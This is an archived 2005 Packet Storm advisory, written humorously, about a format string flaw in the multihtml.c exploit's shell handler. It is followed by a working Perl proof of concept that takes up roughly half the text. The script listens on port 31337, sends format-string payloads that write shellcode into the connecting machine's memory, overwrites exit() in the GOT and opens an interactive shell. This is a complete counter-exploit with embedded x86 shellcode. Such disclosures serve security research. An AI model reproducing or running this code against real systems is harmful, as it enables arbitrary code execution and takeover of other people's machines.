multihtml.c.exploit.txt

2005-07-01T00:00:00
ID PACKETSTORM:38360
Type packetstorm
Reporter potkettle.net
Modified 2005-07-01T00:00:00

Description

                                        
                                            `Multihtml.c Security Advisory  
Pot Kettle Industries <http://potkettle.net>  
  
Topic: Multihtml.c exploit remote vulnerability  
Category: Remote for Remote  
Vendor: bansh33 <rishi@siegesoft.com>, r00tabega security labs  
<http://www.r00tabega.org>  
Announced: 2005-06-10  
Credits: Pot Kettle Industries  
Affects: All Platforms  
Corrected: N/A  
URL: http://potkettle.net/advisories/1  
  
I. Background  
Multihtml.c is a remote exploit written by r00tabega for /cgi-bin/multihtml.pl  
resulting in a shell spawned for the attacker on port 31337, presumably because  
this sequence of numbers resembles the word "eleet" which sounds like the word  
"elite".   
  
multihtml.c was written by bansh33 [rishi@siegesoft.com]  
  
II. Problem Description  
The shell implementation within the exploit contains a format string  
vulnerability which prints the returned values from the compromised machine  
directly.  
  
III. Impact  
If the use of the exploit is recognized, it may be possible for a  
meta-malicious user to execute arbitrary code on the machine of the malicious  
user through the use of a write-what-where  
  
IV. Workaround  
If a lot of odd ascii begins to fly by on the leet shell you just popped, turn  
off your computer and do something safe, like needle point, or pet a small  
kitten.  
  
V. Solution  
We have not contacted banshee [rishi@siegesoft.com] at r00tabega security labs  
[www.r00tabega.com] to obtain an official solution.  
  
We're pretty partial to kittens, but thats just us.  
  
VI. Proof of Concept Exploit  
  
#!/usr/bin/perl -w  
  
use IO::Socket::INET;  
use IO::Select;  
use Time::HiRes qw( usleep );  
use strict;  
  
my $shellcode =  
  
# Our single socket thing....  
# orig (no forks)  
#"\x31\xd2\x66\xba\xb4\x01\x01\xd4\x5f\x31\xc9\x89\xfb\x6a\x3f\x58\xcd" .  
#"\x80\x41\x6a\x3f\x58\xcd\x80\x41\x6a\x3f\x58\xcd\x80A" .  
  
"\x6a\x02\x58\xcd\x80\x21\xc0\x75\x09\x6a\x02\x58\xcd\x80\x21\xc0" .  
"\x74\x05\x6a\x01\x58\xcd\x80\x31\xd2\x66\xba\xb4\x01\x01\xd4\x5f" .  
"\x31\xc9\x89\xfb\x6a\x3f\x58\xcd\x80\x41\x6a\x3f\x58\xcd\x80\x41" .  
"\x6a\x3f\x58\xcd\x80" .  
  
# # The normal Shellcode  
"\x6a\x0b\x58\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89" .  
"\xe3\x52\x53\x89\xe1\xcd\x80";  
  
my $where = 0x0804a2d8;  
  
my $sock = IO::Socket::INET->new(  
Listen => 5,  
ReuseAddr => 1,  
LocalPort => 31337,  
Proto => 'tcp');  
my $cli = $sock->accept();  
  
# first, make sure we don't get caught *wink wink*  
print $cli "Calculating new offsets... Bansh33 rulze!\n";  
sleep (1);  
  
# write our shellcode into the environment  
# and overwrite where with the addr of shellcode  
writeShellcode($cli, $shellcode, $where);  
sleep (1);  
  
# trigger exit to be called then start our shell listener  
print $cli "\x00\x00";  
shell($cli);  
  
# its like a little ghetto smurf  
sub shell {  
my ($cli) = @_;  
my $selecter = IO::Select->new($cli, \*STDIN);  
while (my @fds = $selecter->can_read) {  
foreach my $fd (@fds) {  
my $buf;  
sysread($fd, $buf, 10000);  
if ($fd == $cli) {  
print $buf;  
} else {  
print $cli $buf;  
}  
}  
}  
}  
  
# write a 2 arbitrary bytes to anywhere in memory  
sub WriteWhatWhere {  
my ($cli, $what, $where) = @_;  
syswrite $cli, pack("L", $where) . "%.0s"x37 . "%." . (unpack("S",  
$what) - 4) . "x%hn\n";  
usleep(300000);  
}  
  
# write the shellcode  
sub writeShellcode {  
my ($cli, $shellcode, $boing) = @_;  
  
my $len = length($shellcode);  
my $where = 0xbfffffff - $len;  
  
printf("Writting shellcode to mem at: 0x%.8x\n",$where);  
for (my $i = 0; $i < $len; $i+=2) {  
my $somebuf = substr($shellcode, $i, 2);  
WriteWhatWhere($cli, $somebuf, $where+$i);  
}  
  
printf("Writting over exit() address in GOT: 0x%.8x\n", $boing);  
WriteWhatWhere($cli, substr(pack("I", $where), 0, 2), $boing);  
WriteWhatWhere($cli, substr(pack("I", $where), 2, 2), $boing+2);  
}  
`